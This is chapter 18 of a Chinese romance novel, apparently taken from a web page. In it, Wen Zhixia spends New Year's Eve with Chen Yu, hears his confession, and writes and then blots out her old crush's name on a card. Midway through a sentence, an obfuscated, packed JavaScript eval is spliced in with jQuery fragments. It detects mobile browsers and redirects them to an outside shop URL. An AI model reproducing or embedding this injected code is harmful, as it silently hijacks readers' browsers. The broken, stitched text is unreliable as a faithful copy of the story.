第十八章写错的名字
温知夏和陈屿走得越来越近了。
这件事发生得自然而然,像一条河顺着地势往下流,不需要谁刻意去推动。陈屿总在她身边出现。他会在她画室待得太晚的时候,给她带一份食堂打包的宵夜。他会在她因为一张色彩作业焦头烂额的时候,拉她出去走走。他会在她生病的时候,冒雨去校医院给她买药。
温知夏不是不懂。
她只是假装不懂。
沈星洛和宋沅在宿舍里轮番轰炸她,说她迟早会被感动。方诗语倒是不怎么说,只在旁边笑着点头。
“温知夏,你知不知道你现在这个样子很气人?”沈星洛趴在床头,下巴搁在栏杆上,一脸恨铁不成钢,“人家陈屿学长要颜值有颜值,要才华有才华。你怎么就不开窍呢?”
温知夏正趴在书桌上画一张设计稿,闻言只是笑了一下,没有抬头。
“你笑什么呀?”沈星洛跳下来,凑到她旁边,戳她的胳膊,“你到底喜欢什么样的男生啊?总不能真的当四年的尼姑吧?”
温知夏的笔停了一下。
喜欢什么样的男生?
她沉默了一会儿,轻声说:“顺其自然吧。”
沈星洛撇了撇嘴,觉得她这个人真是没救了。
十二月的南方没有雪,只有阴冷潮湿的风,从海上灌进来,带着一种能钻进骨头缝里的寒意。学校里很多人都穿上了羽绒服,温知夏也裹上了从家里寄来的旧棉袄。那件棉袄有些年头了,颜色洗得发旧,但她穿着很暖和。
十二月下旬,陈屿约她去看跨年烟花。
“海边有个跨年烟花秀,听说挺盛大的。一起去?”他发来消息,后面跟了个笑脸。
温知夏看着那条消息,犹豫了很久。
她记得很多个跨年夜。
高一那年的跨年夜,她在一张贺卡上写下“新年快乐,秦屿川”,然后把它塞进了抽屉最深处。高二那年的跨年夜,她躲在被子里听着烟花声,把一条编辑好的短信删了又写,写了又删。高三那年的跨年夜,她拨出了那个熟悉的号码,听见了林微月的声音。
每一年的跨年,都和她喜欢的那个人有关。
可那些跨年,她从来不是和谁一起过的。
她总是一个人。
一个人站在人群之外,看着漫天的烟花,心里默默地、无声地喊着一个名字。
温知夏盯着陈屿的消息,手指在屏幕上停了好一会儿。
最终,她回了一个字:“好。”
跨年那天晚上,陈屿骑着一辆借来的小电瓶车来接她。
他站在宿舍楼下,穿着一件深色的羽绒服,围了一条灰色的围巾。看见温知夏下来,他朝她挥了挥手,笑得眼睛弯起来。
温知夏走过去。
“冷吗?”他问,顺手把自己脖子上的围巾取下来递给她,“你先戴着。”
温知夏连忙摇头:“不用,我不冷。你戴吧。”
“我骑车呢,风吹不到脸上。你坐后面肯定冷。”陈屿不由分说地把围巾塞到她手里。
温知夏没有办法,只好把围巾绕在脖子上。
围巾上还残留着他的体温,毛线软软地贴着皮肤。那股陌生的温暖让她有些不适应。
电瓶车穿过校园,穿过一条条灯火通明的街道,朝海边的方向驶去。风从耳边呼呼地吹过去,温知夏坐在后座,手不知道往哪里放。她的头发被风卷起来,有几缕飘到了陈屿的脖子上。他偏了一下头,笑着说:“痒。”
温知夏慌忙把头发拢到耳后。
海边的风更大,更冷。可烟花秀的现场已经挤满了人。沙滩上、堤坝上、观景平台上,到处都是攒动的人影。陈屿找了一个相对安静的位置,拉着温知夏站过去。
“这里视野好。”他说,从背包里掏出来一罐热可可,是他在路上买好的。他拉开易拉罐,递给温知夏,“暖暖手。”
温知夏接过来,捧在手心里。甜腻的香气在冷空气里格外诱人。
“陈屿。”她忽然叫他的名字。
“嗯?”
“你为什么对我这么好?”
她的语气很平静,像在问一道她想了很久的题。
陈屿没有回避。他看着她,眼神认真而温柔:“因为我想对你好。”
温知夏低下头,盯着手里的热可可。罐子很烫,烫得她的手心发疼。可她没有松开。
“温知夏。”陈屿叫她,声音在海风里有些轻,“我喜欢你。”
温知夏的手指微微蜷了一下。
她没有抬头。
“我知道你心里可能还装着别的事。我不着急。”陈屿说,语气里带着一种让温知夏意外的耐心和笃定,“我可以慢慢等,等你愿意试试的那一天。”
温知夏终于抬起眼来。
陈屿正看着她。
夜色里,他的目光清澈得像被海水洗过。他看着她,不回避,不躲闪,像在说一件再确定不过的事。
温知夏不知道该怎么形容那一刻的感觉。
她想,这个男孩真好啊。好到她觉得,如果她再拒绝,就真的太残忍了。
“我……”她张了张嘴,喉咙有些干。
“不用现在给我答案。”陈屿笑了笑,伸手指了指远处,“烟花要来了。”
温知夏顺着他手指的方向看去。
海面上空,第一朵烟花轰然炸开。
紧接着,第二朵、第三朵、无数朵烟花冲天而起,将整片夜空都照亮了。金色、红色、蓝色、紫色,一朵接着一朵,把黑夜撕成碎片,又用光把它们拼起来。人群发出潮水般的欢呼声。有人在尖叫,有人在接吻,有人举起手机试图把这短暂的绚烂留住。
温知夏仰着头,看着那些烟花在头顶爆裂、燃烧、坠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896941|212254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
落。
她忽然想起了南城。
想起了那些一个人度过的跨年夜。
想起秦屿川。
他的脸,在漫天的火光中,渐渐浮现出来。他的轮廓被烟花映得明明灭灭,像一个抓不住的影子。
温知夏闭上眼睛。
“也许该往前走一步了。”她在心里对自己说。
烟花结束之后,陈屿送她回宿舍。
在宿舍楼下,他看着她,张了张嘴,像是有话想说,最后只是笑了笑:“新年快乐,温知夏。”
温知夏看着他,心脏被一种温吞吞的、平静又复杂的情绪填满了。
“新年快乐。”她轻声说。
陈屿点点头,转身跨上了小电瓶车。他发动了车子,又回头朝她挥了挥手:“上去吧。早点休息。”
温知夏站在宿舍门口的灯下,看着他的尾灯消失在道路的尽头。
风很大,把她的头发吹得乱糟糟的。她伸手理了理,然后转身上楼。
宿舍里没人。沈星洛她们去市中心的倒计时活动了,还没有回来。温知夏一个人坐在书桌前,打开台灯。
她翻开自己的本子,又拿起一支笔。
她想着刚才的烟花,想着陈屿说的话,想着那些被烟花照亮的瞬间。
然后,她拿出一张贺卡。
那是十二月开学时买的一沓新年贺卡。学校超市里买的,很普通。她觉得应该给室友们写。可最后一张,她鬼使神差地留了下来。
此刻,她打开这张贺卡的内页,提起笔。
“新年快乐。”
写到这里,她的手指停了。
她还想写一个名字。
“秦屿川。”
天。
温知夏猛地回过神来,看着自己刚刚写下的那三个字。
她的呼吸一下子乱了。
她飞快地拿起涂改带,把“秦屿川”三个字涂掉。动作太急,涂改带在纸面上留下了一道丑陋的白色痕迹,像一道新鲜的伤口。
然后她重新提笔,在涂掉的名字下面,工工整整地写下了另一个名字:
“陈屿。”
温知夏看着那张贺卡。
看着那个被涂掉的名字,和那个新写上的名字。
它们离得那么近,只隔着一层薄薄的涂改带。
可她知道,这不是一层的距离。
这是三年。
这是一个人和另一个人之间,遥不可及的光年。
温知夏把贺卡收了起来。
那张贺卡,最终也没有送出去。
她只是在日记本的最后一页,写下了一句话:
“我试过了。真的试过了。”
窗外,风把树枝吹得簌簌响。
南方的冬天没有雪。
可温知夏觉得,她的世界下雪了。
(第十八章完)